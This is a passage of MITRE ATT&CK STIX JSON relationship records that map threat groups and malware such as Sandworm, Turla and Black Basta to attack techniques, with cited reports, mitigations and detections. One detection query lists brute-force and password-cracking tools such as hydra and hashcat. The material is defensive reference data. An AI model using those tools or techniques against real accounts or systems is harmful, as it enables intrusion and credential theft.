Fox)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--924d69bd-a87f-4fda-a2cb-73355331aa87","created":"2022-04-15T14:14:45.878Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Clambling](https://attack.mitre.org/software/S0660) has the ability to use Telnet for communication.(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-15T14:14:45.878Z","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9253e8b3-9fbb-4149-a2e4-60d36c006ba6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 3","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"}],"modified":"2020-03-20T23:16:54.145Z","description":"[Downdelph](https://attack.mitre.org/software/S0134) uses RC4 to encrypt C2 responses.(Citation: ESET Sednit Part 3)","relationship_type":"uses","source_ref":"malware--08d20cd2-f084-45ee-8558-fa6ef5a18519","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9256370f-60b2-4ab5-9a23-28c8cde73026","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-17T17:34:21.783Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can launch a remote shell to execute commands.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--925b4737-5a74-4cee-9335-2534f7ae7c94","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T17:46:05.126Z","description":"Monitor executed commands and arguments that may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.\n\nAnalytic 1 - Command-line tools used for brute force attacks.\n\n (index=security sourcetype=\"Powershell\" EventCode=4104) OR\n(index=os sourcetype=\"linux_secure\" (cmdline IN (\"*hydra*\", \"*medusa*\", \"*ncrack*\", \"*patator*\", \"*john*\", \"*hashcat*\", \"*rcrack*\", \"*w3af*\", \"*aircrack-ng*\"))) OR \n(index=os sourcetype=\"macos_secure\" (cmdline IN (\"*hydra*\", \"*medusa*\", \"*ncrack*\", \"*patator*\", \"*john*\", \"*hashcat*\", \"*rcrack*\", \"*w3af*\", \"*aircrack-ng*\"))) | where match(CommandLine, \"(?i)(hydra|medusa|ncrack|patator|john|hashcat|rcrack|w3af|aircrack-ng)\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9262b21e-8519-4cf5-895a-2c17c986ac8a","created":"2022-03-30T14:26:51.861Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for logging, messaging, and other artifacts provided by cloud services.","modified":"2022-04-28T15:04:16.443Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9263ab45-f7d5-4bcf-af7e-d7be1913c3d6","type":"relationship","created":"2019-06-19T17:14:23.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2019-07-14T21:04:45.270Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used WMI event filters and consumers to establish persistence.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--926523b2-beb0-46e0-a610-c2948ea7bc66","type":"relationship","created":"2020-12-21T19:08:35.357Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2020-12-21T19:08:35.357Z","description":"(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92671dd1-74a4-4bf4-8a04-6577674614d8","type":"relationship","created":"2022-01-05T22:19:18.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"modified":"2022-01-05T22:19:18.033Z","description":"[KONNI](https://attack.mitre.org/software/S0356) has registered itself as a service using its export function.(Citation: Malwarebytes Konni Aug 2021) ","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9267fe42-6290-4342-8024-38d703db4376","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T00:19:38.020Z","description":"Adversaries can direct [BACKSPACE](https://attack.mitre.org/software/S0031) to upload files to the C2 Server.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--926c11f2-853f-4393-9faf-2f3af174e578","type":"relationship","created":"2020-03-18T22:00:45.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"}],"modified":"2020-03-18T22:00:45.497Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) has used [Process Doppelgänging](https://attack.mitre.org/techniques/T1055/013) to evade security software while deploying tools on compromised systems.(Citation: Symantec Leafminer July 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--926f0751-679b-474e-acd0-06e485afd9f5","created":"2022-08-18T15:34:15.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3313 Feb 2022","description":"Tomcik, R. et al. (2022, February 24). Left On Read: Telegram Malware Spotted in Latest Iranian Cyber Espionage Activity. Retrieved August 18, 2022.","url":"https://www.mandiant.com/resources/telegram-malware-iranian-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T15:23:17.972Z","description":"[STARWHALE](https://attack.mitre.org/software/S1037) can use the VBScript function `GetRef` as part of its persistence mechanism.(Citation: Mandiant UNC3313 Feb 2022)","relationship_type":"uses","source_ref":"malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92711ee1-041b-4e35-a322-3e16790fcce2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"},{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:37:09.464Z","description":"[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect the victim MAC address and LAN IP.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--927272db-cc41-45ce-bb38-e3e37ac3a68e","type":"relationship","created":"2020-11-25T22:46:47.266Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T22:46:47.266Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) temporarily disrupted service to Georgian government, non-government, and private sector websites after compromising a Georgian web hosting provider in 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--927434d1-b487-4e3c-909d-ac8725555080","created":"2020-06-11T15:05:01.794Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Telebots June 2017","url":"https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/","description":"Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020."},{"source_name":"Secureworks NotPetya June 2017","url":"https://www.secureworks.com/blog/notpetya-campaign-what-we-know-about-the-latest-global-ransomware-attack","description":"Counter Threat Research Team. (2017, June 28). NotPetya Campaign: What We Know About the Latest Global Ransomware Attack. Retrieved June 11, 2020."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has distributed [NotPetya](https://attack.mitre.org/software/S0368) by compromising the legitimate Ukrainian accounting software M.E.Doc and replacing a legitimate software update with a malicious one.(Citation: Secureworks NotPetya June 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)","modified":"2022-04-12T19:13:26.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92764952-45ad-4cfc-a426-c6baefc9974c","type":"relationship","created":"2020-03-13T18:11:08.483Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft More information about DLL","url":"https://msrc-blog.microsoft.com/2010/08/23/more-information-about-the-dll-preloading-remote-attack-vector/","description":"Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014."},{"source_name":"Microsoft Dynamic Link Library Search Order","url":"https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN","description":"Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014."}],"modified":"2021-04-26T18:37:04.132Z","description":"Disallow loading of remote DLLs. This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+.\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory)\n\nThe Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode(Citation: Microsoft More information about DLL)(Citation: Microsoft Dynamic Link Library Search Order)","relationship_type":"mitigates","source_ref":"course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--927a3c20-7d5c-42ac-97c8-e3546a11c411","created":"2024-05-22T21:36:59.258Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:36:59.258Z","description":"[DEADWOOD](https://attack.mitre.org/software/S1134) can be executed as a service using various names, such as ScDeviceEnums.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--f2e6af17-3828-4f10-88e7-343591618ddb","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--927a4c0e-0065-4266-9359-b48751d70cf2","created":"2024-07-17T20:08:31.468Z","revoked":false,"external_references":[{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"},{"source_name":"Zscaler Pikabot 2024","description":"Nikolaos Pantazopoulos. (2024, February 12). The (D)Evolution of Pikabot. Retrieved July 17, 2024.","url":"https://www.zscaler.com/blogs/security-research/d-evolution-pikabot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-17T20:08:31.469Z","description":"[Pikabot Distribution February 2024](https://attack.mitre.org/campaigns/C0036) distributed [Pikabot](https://attack.mitre.org/software/S1145) for initial access purposes in February 2024.(Citation: Elastic Pikabot 2024)(Citation: Zscaler Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--81e89fb4-8d07-4d8a-82f4-bf084f9d5d53","target_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--927d8495-e288-4c7f-8033-0d7e85d66b10","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","source_name":"Proofpoint TA459 April 2017"}],"modified":"2020-03-19T17:33:03.294Z","description":"[TA459](https://attack.mitre.org/groups/G0062) has a VBScript for execution.(Citation: Proofpoint TA459 April 2017)","relationship_type":"uses","source_ref":"intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--927e8d82-d094-4170-bc76-10717ffd8d7f","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"},{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T19:37:52.427Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve IP, network adapter configuration information, and domain from compromised hosts.(Citation: FireEye MuddyWater Mar 2018)(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9284080a-98cb-46d7-80b3-775a89d5bdfa","created":"2023-03-10T18:40:09.431Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Black Basta May 2022","description":"Gonzalez, I., Chavez I., et al. (2022, May 9). Examining the Black Basta Ransomware’s Infection Routine. Retrieved March 7, 2023.","url":"https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html"},{"source_name":"NCC Group Black Basta June 2022","description":"Inman, R. and Gurney, P. (2022, June 6). Shining the Light on Black Basta. Retrieved March 8, 2023.","url":"https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/"},{"source_name":"Trend Micro Black Basta Spotlight September 2022","description":"Trend Micro. (2022, September 1). Ransomware Spotlight Black Basta. Retrieved March 8, 2023.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T19:48:06.310Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) has used PowerShell scripts for discovery and to execute files over the network.(Citation: Trend Micro Black Basta May 2022)(Citation: Trend Micro Black Basta Spotlight September 2022)(Citation: NCC Group Black Basta June 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9284f651-5078-4b67-90dd-841397029edd","type":"relationship","created":"2020-06-04T20:14:50.442Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail2 jan 2019","url":"https://objective-see.com/blog/blog_0x3D.html","description":"Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019."}],"modified":"2020-06-04T20:14:50.442Z","description":"[WindTail](https://attack.mitre.org/software/S0466) has the ability to use the macOS built-in zip utility to archive files.(Citation: objective-see windtail2 jan 2019)","relationship_type":"uses","source_ref":"malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--928977f5-9602-4020-b8e8-31a8e3881225","type":"relationship","created":"2021-03-01T14:07:36.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}],"modified":"2021-03-02T18:15:56.491Z","description":"[LookBack](https://attack.mitre.org/software/S0582) sets up a Registry Run key to establish a persistence mechanism.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--928f19e8-6174-47c9-b44a-87477d89bdc9","created":"2022-04-06T18:23:57.080Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) had downloaded additional tools to a compromised host.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T18:23:57.080Z","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9292d1e2-562f-4cda-a5f4-4ed6406e8b78","type":"relationship","created":"2021-05-26T12:35:39.583Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf","description":"FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.","source_name":"FireEye FIN10 June 2017"}],"modified":"2021-05-26T12:35:39.583Z","description":"[FIN10](https://attack.mitre.org/groups/G0051) has relied on publicly-available software to gain footholds and establish persistence in victim environments.(Citation: FireEye FIN10 June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9297d0b8-3a96-4fb9-90f2-8e3aa9fe4aca","type":"relationship","created":"2020-09-11T14:56:37.196Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING 